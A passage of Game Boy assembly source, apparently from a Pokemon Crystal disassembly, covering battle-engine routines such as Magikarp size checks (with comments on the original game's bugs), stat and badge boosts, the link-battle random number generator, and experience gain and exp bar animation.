nz, .Happiness ; Get Magikarp's length ld de, wEnemyMonDVs ld bc, wPlayerID callfar CalcMagikarpLength ; No reason to keep going if length > 1536 mm (i.e. if HIGH(length) > 6 feet) ld a, [wMagikarpLength] cp HIGH(1536) ; should be "cp 5", since 1536 mm = 5'0", but HIGH(1536) = 6 jr nz, .CheckMagikarpArea ; 5% chance of skipping both size checks call Random cp 5 percent jr c, .CheckMagikarpArea ; Try again if length >= 1616 mm (i.e. if LOW(length) >= 4 inches) ld a, [wMagikarpLength + 1] cp LOW(1616) ; should be "cp 4", since 1616 mm = 5'4", but LOW(1616) = 80 jr nc, .GenerateDVs ; 20% chance of skipping this check call Random cp 20 percent - 1 jr c, .CheckMagikarpArea ; Try again if length >= 1600 mm (i.e. if LOW(length) >= 3 inches) ld a, [wMagikarpLength + 1] cp LOW(1600) ; should be "cp 3", since 1600 mm = 5'3", but LOW(1600) = 64 jr nc, .GenerateDVs .CheckMagikarpArea: ; The "jr z" checks are supposed to be "jr nz". ; Instead, all maps in GROUP_LAKE_OF_RAGE (Mahogany area) ; and Routes 20 and 44 are treated as Lake of Rage. ; This also means Lake of Rage Magikarp can be smaller than ones ; caught elsewhere rather than the other way around. ; Intended behavior enforces a minimum size at Lake of Rage. ; The real behavior prevents a minimum size in the Lake of Rage area. ; Moreover, due to the check not being translated to feet+inches, all Magikarp ; smaller than 4'0" may be caught by the filter, a lot more than intended. ld a, [wMapGroup] cp GROUP_LAKE_OF_RAGE jr z, .Happiness ld a, [wMapNumber] cp MAP_LAKE_OF_RAGE jr z, .Happiness ; 40% chance of not flooring call Random cp 40 percent - 2 jr c, .Happiness ; Try again if length < 1024 mm (i.e. if HIGH(length) < 3 feet) ld a, [wMagikarpLength] cp HIGH(1024) ; should be "cp 3", since 1024 mm = 3'4", but HIGH(1024) = 4 jr c, .GenerateDVs ; try again ; Finally done with DVs .Happiness: ; Set happiness ld a, BASE_HAPPINESS ld [wEnemyMonHappiness], a ; Set level ld a, [wCurPartyLevel] ld [wEnemyMonLevel], a ; Fill stats ld de, wEnemyMonMaxHP ld b, FALSE ld hl, wEnemyMonDVs - (MON_DVS - MON_STAT_EXP + 1) ; wLinkBattleRNs + 7 ; ? predef CalcMonStats ; If we're in a trainer battle, ; get the rest of the parameters from the party struct ld a, [wBattleMode] cp TRAINER_BATTLE jr z, .OpponentParty ; If we're in a wild battle, check wild-specific stuff and a jr z, .TreeMon ld a, [wEnemySubStatus5] bit SUBSTATUS_TRANSFORMED, a jp nz, .Moves .TreeMon: ; If we're headbutting trees, some monsters enter battle asleep call CheckSleepingTreeMon ld a, TREEMON_SLEEP_TURNS jr c, .UpdateStatus ; Otherwise, no status xor a .UpdateStatus: ld hl, wEnemyMonStatus ld [hli], a ; Unused byte xor a ld [hli], a ; Full HP.. ld a, [wEnemyMonMaxHP] ld [hli], a ld a, [wEnemyMonMaxHP + 1] ld [hl], a ; ..unless it's a RoamMon ld a, [wBattleType] cp BATTLETYPE_ROAMING jr nz, .Moves ; Grab HP call GetRoamMonHP ld a, [hl] ; Check if it's been initialized again and a jr z, .InitRoamHP ; Update from the struct if it has ld a, [hl] ld [wEnemyMonHP + 1], a jr .Moves .InitRoamHP: ; HP only uses the lo byte in the RoamMon struct since ; Raikou and Entei will have < 256 hp at level 40 ld a, [wEnemyMonHP + 1] ld [hl], a jr .Moves .OpponentParty: ; Get HP from the party struct ld hl, (wOTPartyMon1HP + 1) ld a, [wCurPartyMon] call GetPartyLocation ld a, [hld] ld [wEnemyMonHP + 1], a ld a, [hld] ld [wEnemyMonHP], a ; Make sure everything knows which monster the opponent is using ld a, [wCurPartyMon] ld [wCurOTMon], a ; Get status from the party struct dec hl ld a, [hl] ; OTPartyMonStatus ld [wEnemyMonStatus], a .Moves: ld hl, wBaseType1 ld de, wEnemyMonType1 ld a, [hli] ld [de], a inc de ld a, [hl] ld [de], a ; Get moves ld de, wEnemyMonMoves ; Are we in a trainer battle? ld a, [wBattleMode] cp TRAINER_BATTLE jr nz, .WildMoves ; Then copy moves from the party struct ld hl, wOTPartyMon1Moves ld a, [wCurPartyMon] call GetPartyLocation ld bc, NUM_MOVES call CopyBytes jr .PP .WildMoves: ; Clear wEnemyMonMoves xor a ld h, d ld l, e ld [hli], a ld [hli], a ld [hli], a ld [hl], a ; Make sure the predef knows this isn't a partymon ld [wEvolutionOldSpecies], a ; Fill moves based on level predef FillMoves .PP: ; Trainer battle? ld a, [wBattleMode] cp TRAINER_BATTLE jr z, .TrainerPP ; Fill wild PP ld hl, wEnemyMonMoves ld de, wEnemyMonPP predef FillPP jr .Finish .TrainerPP: ; Copy PP from the party struct ld hl, wOTPartyMon1PP ld a, [wCurPartyMon] call GetPartyLocation ld de, wEnemyMonPP ld bc, NUM_MOVES call CopyBytes .Finish: ; Only the first five base stats are copied.. ld hl, wBaseStats ld de, wEnemyMonBaseStats ld b, wBaseSpecialDefense - wBaseStats .loop ld a, [hli] ld [de], a inc de dec b jr nz, .loop ld a, [wBaseCatchRate] ld [de], a inc de ld a, [wBaseExp] ld [de], a ld a, [wTempEnemyMonSpecies] ld [wNamedObjectIndexBuffer], a call GetPokemonName ; Did we catch it? ld a, [wBattleMode] and a ret z ; Update enemy nick ld hl, wStringBuffer1 ld de, wEnemyMonNick ld bc, MON_NAME_LENGTH call CopyBytes ; Saw this mon ld a, [wTempEnemyMonSpecies] dec a ld c, a ld b, SET_FLAG ld hl, wPokedexSeen predef SmallFarFlagAction ld hl, wEnemyMonStats ld de, wEnemyStats ld bc, wEnemyMonStatsEnd - wEnemyMonStats call CopyBytes ret CheckSleepingTreeMon: ; Return carry if species is in the list ; for the current time of day ; Don't do anything if this isn't a tree encounter ld a, [wBattleType] cp BATTLETYPE_TREE jr nz, .NotSleeping ; Get list for the time of day ld hl, AsleepTreeMonsMorn ld a, [wTimeOfDay] cp DAY_F jr c, .Check ld hl, AsleepTreeMonsDay jr z, .Check ld hl, AsleepTreeMonsNite .Check: ld a, [wTempEnemyMonSpecies] ld de, 1 ; length of species id call IsInArray ; If it's a match, the opponent is asleep ret c .NotSleeping: and a ret INCLUDE "data/wild/treemons_asleep.asm" CheckUnownLetter: ; Return carry if the Unown letter hasn't been unlocked yet ld a, [wUnlockedUnowns] ld c, a ld de, 0 .loop ; Don't check this set unless it's been unlocked srl c jr nc, .next ; Is our letter in the set? ld hl, UnlockedUnownLetterSets add hl, de ld a, [hli] ld h, [hl] ld l, a push de ld a, [wUnownLetter] ld de, 1 push bc call IsInArray pop bc pop de jr c, .match .next ; Make sure we haven't gone past the end of the table inc e inc e ld a, e cp UnlockedUnownLetterSets.End - UnlockedUnownLetterSets jr c, .loop ; Hasn't been unlocked, or the letter is invalid scf ret .match ; Valid letter and a ret INCLUDE "data/wild/unlocked_unowns.asm" Unreferenced_SwapBattlerLevels: push bc ld a, [wBattleMonLevel] ld b, a ld a, [wEnemyMonLevel] ld [wBattleMonLevel], a ld a, b ld [wEnemyMonLevel], a pop bc ret BattleWinSlideInEnemyTrainerFrontpic: xor a ld [wTempEnemyMonSpecies], a call FinishBattleAnim ld a, [wOtherTrainerClass] ld [wTrainerClass], a ld de, vTiles2 callfar GetTrainerPic hlcoord 19, 0 ld c, 0 .outer_loop inc c ld a, c cp 7 ret z xor a ldh [hBGMapMode], a ldh [hBGMapThird], a ld d, $0 push bc push hl .inner_loop call .CopyColumn inc hl ld a, 7 add d ld d, a dec c jr nz, .inner_loop ld a, $1 ldh [hBGMapMode], a ld c, 4 call DelayFrames pop hl pop bc dec hl jr .outer_loop .CopyColumn: push hl push de push bc ld e, 7 .loop ld [hl], d ld bc, SCREEN_WIDTH add hl, bc inc d dec e jr nz, .loop pop bc pop de pop hl ret ApplyStatusEffectOnPlayerStats: ld a, 1 jr ApplyStatusEffectOnStats ApplyStatusEffectOnEnemyStats: xor a ApplyStatusEffectOnStats: ldh [hBattleTurn], a call ApplyPrzEffectOnSpeed jp ApplyBrnEffectOnAttack ApplyPrzEffectOnSpeed: ldh a, [hBattleTurn] and a jr z, .enemy ld a, [wBattleMonStatus] and 1 << PAR ret z ld hl, wBattleMonSpeed + 1 ld a, [hld] ld b, a ld a, [hl] srl a rr b srl a rr b ld [hli], a or b jr nz, .player_ok ld b, $1 ; min speed .player_ok ld [hl], b ret .enemy ld a, [wEnemyMonStatus] and 1 << PAR ret z ld hl, wEnemyMonSpeed + 1 ld a, [hld] ld b, a ld a, [hl] srl a rr b srl a rr b ld [hli], a or b jr nz, .enemy_ok ld b, $1 ; min speed .enemy_ok ld [hl], b ret ApplyBrnEffectOnAttack: ldh a, [hBattleTurn] and a jr z, .enemy ld a, [wBattleMonStatus] and 1 << BRN ret z ld hl, wBattleMonAttack + 1 ld a, [hld] ld b, a ld a, [hl] srl a rr b ld [hli], a or b jr nz, .player_ok ld b, $1 ; min attack .player_ok ld [hl], b ret .enemy ld a, [wEnemyMonStatus] and 1 << BRN ret z ld hl, wEnemyMonAttack + 1 ld a, [hld] ld b, a ld a, [hl] srl a rr b ld [hli], a or b jr nz, .enemy_ok ld b, $1 ; min attack .enemy_ok ld [hl], b ret ApplyStatLevelMultiplierOnAllStats: ; Apply StatLevelMultipliers on all 5 Stats ld c, 0 .stat_loop call ApplyStatLevelMultiplier inc c ld a, c cp NUM_BATTLE_STATS jr nz, .stat_loop ret ApplyStatLevelMultiplier: push bc push bc ld a, [wApplyStatLevelMultipliersToEnemy] and a ld a, c ld hl, wBattleMonAttack ld de, wPlayerStats ld bc, wPlayerAtkLevel jr z, .got_pointers ld hl, wEnemyMonAttack ld de, wEnemyStats ld bc, wEnemyAtkLevel .got_pointers add c ld c, a jr nc, .okay inc b .okay ld a, [bc] pop bc ld b, a push bc sla c ld b, 0 add hl, bc ld a, c add e ld e, a jr nc, .okay2 inc d .okay2 pop bc push hl ld hl, StatLevelMultipliers_Applied dec b sla b ld c, b ld b, 0 add hl, bc xor a ldh [hMultiplicand + 0], a ld a, [de] ldh [hMultiplicand + 1], a inc de ld a, [de] ldh [hMultiplicand + 2], a ld a, [hli] ldh [hMultiplier], a call Multiply ld a, [hl] ldh [hDivisor], a ld b, 4 call Divide pop hl ; Cap at 999. ldh a, [hQuotient + 3] sub LOW(MAX_STAT_VALUE) ldh a, [hQuotient + 2] sbc HIGH(MAX_STAT_VALUE) jp c, .okay3 ld a, HIGH(MAX_STAT_VALUE) ldh [hQuotient + 2], a ld a, LOW(MAX_STAT_VALUE) ldh [hQuotient + 3], a .okay3 ldh a, [hQuotient + 2] ld [hli], a ld b, a ldh a, [hQuotient + 3] ld [hl], a or b jr nz, .okay4 inc [hl] .okay4 pop bc ret INCLUDE "data/battle/stat_multipliers_2.asm" BadgeStatBoosts: ; Raise the stats of the battle mon in wBattleMon ; depending on which badges have been obtained. ; Every other badge boosts a stat, starting from the first. ; ZephyrBadge: Attack ; PlainBadge: Speed ; MineralBadge: Defense ; GlacierBadge: Special Attack ; RisingBadge: Special Defense ; The boosted stats are in order, except PlainBadge and MineralBadge's boosts are swapped. ld a, [wLinkMode] and a ret nz ld a, [wInBattleTowerBattle] and a ret nz ld a, [wJohtoBadges] ; Swap badges 3 (PlainBadge) and 5 (MineralBadge). ld d, a and (1 << PLAINBADGE) add a add a ld b, a ld a, d and (1 << MINERALBADGE) rrca rrca ld c, a ld a, d and ((1 << ZEPHYRBADGE) | (1 << HIVEBADGE) | (1 << FOGBADGE) | (1 << STORMBADGE) | (1 << GLACIERBADGE) | (1 << RISINGBADGE)) or b or c ld b, a ld hl, wBattleMonAttack ld c, 4 .CheckBadge: ld a, b srl b call c, BoostStat inc hl inc hl ; Check every other badge. srl b dec c jr nz, .CheckBadge ; And the last one (RisingBadge) too. srl a call c, BoostStat ret BoostStat: ; Raise stat at hl by 1/8. ld a, [hli] ld d, a ld e, [hl] srl d rr e srl d rr e srl d rr e ld a, [hl] add e ld [hld], a ld a, [hl] adc d ld [hli], a ; Cap at 999. ld a, [hld] sub LOW(MAX_STAT_VALUE) ld a, [hl] sbc HIGH(MAX_STAT_VALUE) ret c ld a, HIGH(MAX_STAT_VALUE) ld [hli], a ld a, LOW(MAX_STAT_VALUE) ld [hld], a ret _LoadBattleFontsHPBar: callfar LoadBattleFontsHPBar ret _LoadHPBar: callfar LoadHPBar ret Unreferenced_LoadHPExpBarGFX: ld de, EnemyHPBarBorderGFX ld hl, vTiles2 tile $6c lb bc, BANK(EnemyHPBarBorderGFX), 4 call Get1bpp ld de, HPExpBarBorderGFX ld hl, vTiles2 tile $73 lb bc, BANK(HPExpBarBorderGFX), 6 call Get1bpp ld de, ExpBarGFX ld hl, vTiles2 tile $55 lb bc, BANK(ExpBarGFX), 8 jp Get2bpp EmptyBattleTextbox: ld hl, .empty jp BattleTextbox .empty: text_end _BattleRandom:: ; If the normal RNG is used in a link battle it'll desync. ; To circumvent this a shared PRNG is used instead. ; But if we're in a non-link battle we're safe to use it ld a, [wLinkMode] and a jp z, Random ; The PRNG operates in streams of 10 values. ; Which value are we trying to pull? push hl push bc ld a, [wLinkBattleRNCount] ld c, a ld b, 0 ld hl, wLinkBattleRNs add hl, bc inc a ld [wLinkBattleRNCount], a ; If we haven't hit the end yet, we're good cp 10 - 1 ; Exclude last value. See the closing comment ld a, [hl] pop bc pop hl ret c ; If we have, we have to generate new pseudorandom data ; Instead of having multiple PRNGs, ten seeds are used push hl push bc push af ; Reset count to 0 xor a ld [wLinkBattleRNCount], a ld hl, wLinkBattleRNs ld b, 10 ; number of seeds ; Generate next number in the sequence for each seed ; a[n+1] = (a[n] * 5 + 1) % 256 .loop ; get last # ld a, [hl] ; a * 5 + 1 ld c, a add a add a add c inc a ; update # ld [hli], a dec b jr nz, .loop ; This has the side effect of pulling the last value first, ; then wrapping around. As a result, when we check to see if ; we've reached the end, we check the one before it. pop af pop bc pop hl ret Call_PlayBattleAnim_OnlyIfVisible: ld a, BATTLE_VARS_SUBSTATUS3 call GetBattleVar and 1 << SUBSTATUS_FLYING | 1 << SUBSTATUS_UNDERGROUND ret nz Call_PlayBattleAnim: ld a, e ld [wFXAnimID], a ld a, d ld [wFXAnimID + 1], a call WaitBGMap predef_jump PlayBattleAnim FinishBattleAnim: push af push bc push de push hl ld b, SCGB_BATTLE_COLORS call GetSGBLayout call SetPalettes call DelayFrame pop hl pop de pop bc pop af ret GiveExperiencePoints: ; Give experience. ; Don't give experience if linked or in the Battle Tower. ld a, [wLinkMode] and a ret nz ld a, [wInBattleTowerBattle] bit 0, a ret nz call .EvenlyDivideExpAmongParticipants xor a ld [wCurPartyMon], a ld bc, wPartyMon1Species .loop ld hl, MON_HP add hl, bc ld a, [hli] or [hl] jp z, .next_mon ; fainted push bc ld hl, wBattleParticipantsNotFainted ld a, [wCurPartyMon] ld c, a ld b, CHECK_FLAG ld d, FALSE predef SmallFarFlagAction ld a, c and a pop bc jp z, .next_mon ; give stat exp ld hl, MON_STAT_EXP + 1 add hl, bc ld d, h ld e, l ld hl, wEnemyMonBaseStats - 1 push bc ld c, NUM_EXP_STATS .stat_exp_loop inc hl ld a, [de] add [hl] ld [de], a jr nc, .no_carry_stat_exp dec de ld a, [de] inc a jr z, .stat_exp_maxed_out ld [de], a inc de .no_carry_stat_exp push hl push bc ld a, MON_PKRUS call GetPartyParamLocation ld a, [hl] and a pop bc pop hl jr z, .stat_exp_awarded ld a, [de] add [hl] ld [de], a jr nc, .stat_exp_awarded dec de ld a, [de] inc a jr z, .stat_exp_maxed_out ld [de], a inc de jr .stat_exp_awarded .stat_exp_maxed_out ld a, $ff ld [de], a inc de ld [de], a .stat_exp_awarded inc de inc de dec c jr nz, .stat_exp_loop xor a ldh [hMultiplicand + 0], a ldh [hMultiplicand + 1], a ld a, [wEnemyMonBaseExp] ldh [hMultiplicand + 2], a ld a, [wEnemyMonLevel] ldh [hMultiplier], a call Multiply ld a, 7 ldh [hDivisor], a ld b, 4 call Divide ; Boost Experience for traded Pokemon pop bc ld hl, MON_ID add hl, bc ld a, [wPlayerID] cp [hl] jr nz, .boosted inc hl ld a, [wPlayerID + 1] cp [hl] ld a, 0 jr z, .no_boost .boosted call BoostExp ld a, 1 .no_boost ; Boost experience for a Trainer Battle ld [wStringBuffer2 + 2], a ld a, [wBattleMode] dec a call nz, BoostExp ; Boost experience for Lucky Egg push bc ld a, MON_ITEM call GetPartyParamLocation ld a, [hl] cp LUCKY_EGG call z, BoostExp ldh a, [hQuotient + 3] ld [wStringBuffer2 + 1], a ldh a, [hQuotient + 2] ld [wStringBuffer2], a ld a, [wCurPartyMon] ld hl, wPartyMonNicknames call GetNick ld hl, Text_MonGainedExpPoint call BattleTextbox ld a, [wStringBuffer2 + 1] ldh [hQuotient + 3], a ld a, [wStringBuffer2] ldh [hQuotient + 2], a pop bc call AnimateExpBar push bc call LoadTileMapToTempTileMap pop bc ld hl, MON_EXP + 2 add hl, bc ld d, [hl] ldh a, [hQuotient + 3] add d ld [hld], a ld d, [hl] ldh a, [hQuotient + 2] adc d ld [hl], a jr nc, .no_exp_overflow dec hl inc [hl] jr nz, .no_exp_overflow ld a, $ff ld [hli], a ld [hli], a ld [hl], a .no_exp_overflow ld a, [wCurPartyMon] ld e, a ld d, 0 ld hl, wPartySpecies add hl, de ld a, [hl] ld [wCurSpecies], a call GetBaseData push bc ld d, MAX_LEVEL callfar CalcExpAtLevel pop bc ld hl, MON_EXP + 2 add hl, bc push bc ldh a, [hQuotient + 1] ld b, a ldh a, [hQuotient + 2] ld c, a ldh a, [hQuotient + 3] ld d, a ld a, [hld] sub d ld a, [hld] sbc c ld a, [hl] sbc b jr c, .not_max_exp ld a, b ld [hli], a ld a, c ld [hli], a ld a, d ld [hld], a .not_max_exp ; Check if the mon leveled up xor a ; PARTYMON ld [wMonType], a predef CopyMonToTempMon callfar CalcLevel pop bc ld hl, MON_LEVEL add hl, bc ld a, [hl] cp MAX_LEVEL jp nc, .next_mon cp d jp z, .next_mon ; <NICKNAME> grew to level ##! ld [wTempLevel], a ld a, [wCurPartyLevel] push af ld a, d ld [wCurPartyLevel], a ld [hl], a ld hl, MON_SPECIES add hl, bc ld a, [hl] ld [wCurSpecies], a ld [wTempSpecies], a ; unused? call GetBaseData ld hl, MON_MAXHP + 1 add hl, bc ld a, [hld] ld e, a ld d, [hl] push de ld hl, MON_MAXHP add hl, bc ld d, h ld e, l ld hl, MON_STAT_EXP - 1 add hl, bc push bc ld b, TRUE predef CalcMonStats pop bc pop de ld hl, MON_MAXHP + 1 add hl, bc ld a, [hld] sub e ld e, a ld a, [hl] sbc d ld d, a dec hl ld a, [hl] add e ld [hld], a ld a, [hl] adc d ld [hl], a ld a, [wCurBattleMon] ld d, a ld a, [wCurPartyMon] cp d jr nz, .skip_active_mon_update ld de, wBattleMonHP ld a, [hli] ld [de], a inc de ld a, [hli] ld [de], a ld de, wBattleMonMaxHP push bc ld bc, PARTYMON_STRUCT_LENGTH - MON_MAXHP call CopyBytes pop bc ld hl, MON_LEVEL add hl, bc ld a, [hl] ld [wBattleMonLevel], a ld a, [wPlayerSubStatus5] bit SUBSTATUS_TRANSFORMED, a jr nz, .transformed ld hl, MON_ATK add hl, bc ld de, wPlayerStats ld bc, PARTYMON_STRUCT_LENGTH - MON_ATK call CopyBytes .transformed xor a ; FALSE ld [wApplyStatLevelMultipliersToEnemy], a call ApplyStatLevelMultiplierOnAllStats callfar ApplyStatusEffectOnPlayerStats callfar BadgeStatBoosts callfar UpdatePlayerHUD call EmptyBattleTextbox call LoadTileMapToTempTileMap ld a, $1 ldh [hBGMapMode], a .skip_active_mon_update farcall LevelUpHappinessMod ld a, [wCurBattleMon] ld b, a ld a, [wCurPartyMon] cp b jr z, .skip_exp_bar_animation ld de, SFX_HIT_END_OF_EXP_BAR call PlaySFX call WaitSFX ld hl, BattleText_StringBuffer1GrewToLevel call StdBattleTextbox call LoadTileMapToTempTileMap .skip_exp_bar_animation xor a ; PARTYMON ld [wMonType], a predef CopyMonToTempMon hlcoord 9, 0 ld b, 10 ld c, 9 call Textbox hlcoord 11, 1 ld bc, 4 predef PrintTempMonStats ld c, 30 call DelayFrames call WaitPressAorB_BlinkCursor call Call_LoadTempTileMapToTileMap xor a ; PARTYMON ld [wMonType], a ld a, [wCurSpecies] ld [wTempSpecies], a ; unused? ld a, [wCurPartyLevel] push af ld c, a ld a, [wTempLevel] ld b, a .level_loop inc b ld a, b ld [wCurPartyLevel], a push bc predef LearnLevelMoves pop bc ld a, b cp c jr nz, .level_loop pop af ld [wCurPartyLevel], a ld hl, wEvolvableFlags ld a, [wCurPartyMon] ld c, a ld b, SET_FLAG predef SmallFarFlagAction pop af ld [wCurPartyLevel], a .next_mon ld a, [wPartyCount] ld b, a ld a, [wCurPartyMon] inc a cp b jr z, .done ld [wCurPartyMon], a ld a, MON_SPECIES call GetPartyParamLocation ld b, h ld c, l jp .loop .done jp ResetBattleParticipants .EvenlyDivideExpAmongParticipants: ; count number of battle participants ld a, [wBattleParticipantsNotFainted] ld b, a ld c, PARTY_LENGTH ld d, 0 .count_loop xor a srl b adc d ld d, a dec c jr nz, .count_loop cp 2 ret c ld [wTempByteValue], a ld hl, wEnemyMonBaseStats ld c, wEnemyMonEnd - wEnemyMonBaseStats .base_stat_division_loop xor a ldh [hDividend + 0], a ld a, [hl] ldh [hDividend + 1], a ld a, [wTempByteValue] ldh [hDivisor], a ld b, 2 call Divide ldh a, [hQuotient + 3] ld [hli], a dec c jr nz, .base_stat_division_loop ret BoostExp: ; Multiply experience by 1.5x push bc ; load experience value ldh a, [hProduct + 2] ld b, a ldh a, [hProduct + 3] ld c, a ; halve it srl b rr c ; add it back to the whole exp value add c ldh [hProduct + 3], a ldh a, [hProduct + 2] adc b ldh [hProduct + 2], a pop bc ret Text_MonGainedExpPoint: text_far Text_Gained text_asm ld hl, TextJump_StringBuffer2ExpPoints ld a, [wStringBuffer2 + 2] ; IsTradedMon and a ret z ld hl, TextJump_ABoostedStringBuffer2ExpPoints ret TextJump_ABoostedStringBuffer2ExpPoints: text_far Text_ABoostedStringBuffer2ExpPoints text_end TextJump_StringBuffer2ExpPoints: text_far Text_StringBuffer2ExpPoints text_end AnimateExpBar: push bc ld hl, wCurPartyMon ld a, [wCurBattleMon] cp [hl] jp nz, .finish ld a, [wBattleMonLevel] cp MAX_LEVEL jp nc, .finish ldh a, [hProduct + 3] ld [wd004], a push af ldh a, [hProduct + 2] ld [wd003], a push af xor a ld [wd002], a xor a ; PARTYMON ld [wMonType], a predef CopyMonToTempMon ld a, [wTempMonLevel] ld b, a ld e, a push de ld de, wTempMonExp + 2 call CalcExpBar push bc ld hl, wTempMonExp + 2 ld a, [wd004] add [hl] ld [hld], a ld a, [wd003] adc [hl] ld [hld], a jr nc, .NoOverflow inc [hl] jr nz, .NoOverflow ld a, $ff ld [hli], a ld [hli], a ld [hl], a .NoOverflow: ld d, MAX_LEVEL callfar CalcExpAtLevel ldh a, [hProduct + 1] ld b, a ldh a, [hProduct + 2] ld c, a ldh a, [hProduct + 3] ld d, a ld hl, wTempMonExp + 2 ld a, [hld] sub d ld a, [hld] sbc c ld a, [hl] sbc b jr c, .AlreadyAtMaxExp ld a, b ld [hli], a ld a, c ld [hli], a ld a, d ld [hld], a .AlreadyAtMaxExp: callfar CalcLevel ld a, d pop bc pop de ld d, a cp e jr nc, .LoopLevels ld a, e ld d, a .LoopLevels: ld a, e cp MAX_LEVEL jr nc, .FinishExpBar cp d jr z, .FinishExpBar inc a ld [wTempMonLevel], a ld [wCurPartyLevel], a ld [wBattleMonLevel], a push de call .PlayExpBarSound ld c, $40 call .LoopBarAnimation call PrintPlayerHUD ld hl, wBattleMonNick ld de, wStringBuffer1 ld bc, MON_NAME_LENGTH call CopyBytes call TerminateExpBarSound ld de, SFX_HIT_END_OF_EXP_BAR call PlaySFX farcall AnimateEndOfExpBar call WaitSFX ld hl, BattleText_StringBuffer1GrewToLevel call StdBattleTextbox pop de inc e ld b, $0 jr .LoopLevels .FinishExpBar: push bc ld b, d ld de, wTempMonExp + 2 call CalcExpBar ld a, b pop bc ld c, a call .PlayExpBarSound call .LoopBarAnimation call TerminateExpBarSound pop af ldh [hProduct + 2], a pop af ldh [hProduct + 3], a .finish pop bc ret .PlayExpBarSound: push bc call WaitSFX ld de, SFX_EXP_BAR call PlaySFX ld c, 10 call DelayFrames pop bc ret .LoopBarAnimation: ld d, 3 dec b .anim_loop inc b push bc push de hlcoord 17, 11 call PlaceExpBar pop de ld a, $1 ldh [hBGMapMode], a ld c, d call DelayFrames xor a ldh [hBGMapMode], a pop bc ld a, c cp b jr z, .end_animation inc b push bc push de hlcoord 17, 11 call PlaceExpBar pop de ld a, $1 ldh [hBGMapMode], a ld c, d call DelayFrames xor a ldh [hBGMapMode], a dec d jr nz, .min_number_of_frames ld d, 1 .min_number_of_frames pop bc ld a, c cp b jr nz, .anim_loop .end_animation ld a, $1 ldh [hBGMapMode], a ret SendOutMonText: ld a, [wLinkMode] and a jr z, .not_linked ld hl, JumpText_GoMon ; If we're in a LinkBattle print just "Go <PlayerMon>" ld a, [wBattleHasJustStarted] ; unless this (unidentified) variable is set and a jr nz, .skip_to_textbox .not_linked ; Depending on the HP of the enemy mon, the game prints a different text ld hl, wEnemyMonHP ld a, [hli] or [hl] ld hl, JumpText_GoMon jr z, .skip_to_textbox ; compute enemy helth remaining as a percentage xor a ldh [hMultiplicand + 0], a ld hl, wEnemyMonHP ld a, [hli] ld [wEnemyHPAtTimeOfPlayerSwitch], a ldh [hMultiplicand + 1], a ld a, [hl] ld [wEnemyHPAtTimeOfPlayerSwitch + 1], a ldh [hMultiplicand + 2], a ld a, 25 ldh [hMultiplier], a call Multiply ld hl, wEnemyMonMaxHP ld a, [hli] ld b, [hl] srl a rr b srl a rr b ld a, b ld b, 4 ldh [hDivisor], a call Divide ldh a, [hQuotient + 3] ld hl, JumpText_GoMon cp 70 jr nc, .skip_to_textbox ld hl, JumpText_DoItMon cp 40 jr nc, .skip_to_textbox ld hl, JumpText_GoForItMon cp 10 jr nc, .skip_to_textbox ld hl, JumpText_YourFoesWeakGetmMon .skip_to_textbox jp BattleTextbox JumpText_GoMon: text_far Text_GoMon text_asm jr Function_TextJump_BattleMonNick01 JumpText_DoItMon: text_far Text_DoItMon text_asm jr Function_TextJump_BattleMonNick01 JumpText_GoForItMon: text_far Text_GoForItMon text_asm jr Function_TextJump_BattleMonNick01 JumpText_YourFoesWeakGetmMon: text_far Text_YourFoesWeakGetmMon text_asm Function_TextJump_BattleMonNick01: ld hl, TextJump_BattleMonNick01 ret TextJump_BattleMonNick01: text_far Text_BattleMonNick01 text_end WithdrawMonText: ld hl, .WithdrawMonText jp BattleTextbox .WithdrawMonText: text_far Text_BattleMonNickComma text_asm ; Print text to withdraw mon ; depending on HP the message is different push de push bc ld hl, wEnemyMonHP + 1 ld de, wEnemyHPAtTimeOfPlayerSwitch + 1 ld b, [hl] dec hl ld a, [de] sub b ldh [hMultiplicand + 2], a dec de ld b, [hl] ld a, [de] sbc b ldh [hMultiplicand + 1], a ld a, 25 ldh [hMultiplier], a call Multiply ld hl, wEnemyMonMaxHP ld a, [hli] ld b, [hl] srl a rr b srl a rr b ld a, b ld b, 4 ldh [hDivisor], a call Divide pop bc pop de ldh a, [hQuotient + 3] ld hl, TextJump_ThatsEnoughComeBack and a ret z ld hl, TextJump_ComeBack cp 30 ret c ld hl, TextJump_OKComeBack cp 70 ret c ld hl, TextJump_GoodComeBack ret TextJump_ThatsEnoughComeBack: text_far Text_ThatsEnoughComeBack text_end TextJump_OKComeBack: text_far Text_OKComeBack text_end TextJump_GoodComeBack: text_far Text_GoodComeBack text_end Unreferenced_TextJump_ComeBack: ; this function doesn't seem to be used ld hl, TextJump_ComeBack ret TextJump_ComeBack: text_far Text_ComeBack text_end Unreferenced_HandleSafariAngerEatingStatus: ld hl, wSafariMonEating ld a, [hl] and a jr z, .angry dec [hl] ld hl, BattleText_WildMonIsEating jr .finish .angry dec hl ; wSafariMonAngerCount ld a, [hl] and a ret z dec [hl] ld hl, BattleText_WildMonIsAngry jr nz, .finish push hl ld a, [wEnemyMonSpecies] ld [wCurSpecies], a call GetBaseData ld a, [wBaseCatchRate] ld [wEnemyMonCatchRate], a pop hl .finish push hl call Call_LoadTempTileMapToTileMap pop hl jp StdBattleTextbox FillInExpBar: push hl call CalcExpBar pop hl ld de, 7 add hl, de jp PlaceExpBar CalcExpBar: ; Calculate the percent exp between this level and the next ; Level in b push de ld d, b push de callfar CalcExpAtLevel pop de ; exp at current level gets pushed to the stack ld hl, hMultiplicand ld a, [hli] push af ld a, [hli] push af ld a, [hl] push af ; next level inc d callfar CalcExpAtLevel ; back up the next level exp, and subtract the two levels ld hl, hMultiplicand + 2 ld a, [hl] ldh [hMathBuffer + 2], a pop bc sub b ld [hld], a ld a, [hl] ldh [hMathBuffer + 1], a pop bc sbc b ld [hld], a ld a, [hl] ldh [hMathBuffer], a pop bc sbc b ld [hl], a pop de ld hl, hMultiplicand + 1 ld a, [hli] push af ld a, [hl] push af ; get the amount of exp remaining to the next level ld a, [de] dec de ld c, a ldh a, [hMathBuffer + 2] sub c ld [hld], a ld a, [de] dec de ld b, a ldh a, [hMathBuffer + 1] sbc b ld [hld], a ld a, [de] ld c, a ldh a, [hMathBuffer] sbc c ld [hld], a xor a ld [hl], a ld a, 64 ldh [hMultiplier], a call Multiply pop af ld c, a pop af ld b, a .loop ld a, b and a jr z, .done srl b rr c ld hl, hProduct srl [hl] inc hl rr [hl] inc hl rr [hl] inc hl rr [hl] jr .loop .done ld a, c ldh [hDivisor], a ld b, 4 call Divide ldh a, [hQuotient + 3] ld b, a ld a, $40 sub b ld b, a ret PlaceExpBar: ld c, $8 ; number of tiles .loop1 ld a, b sub $8 jr c, .next ld b, a 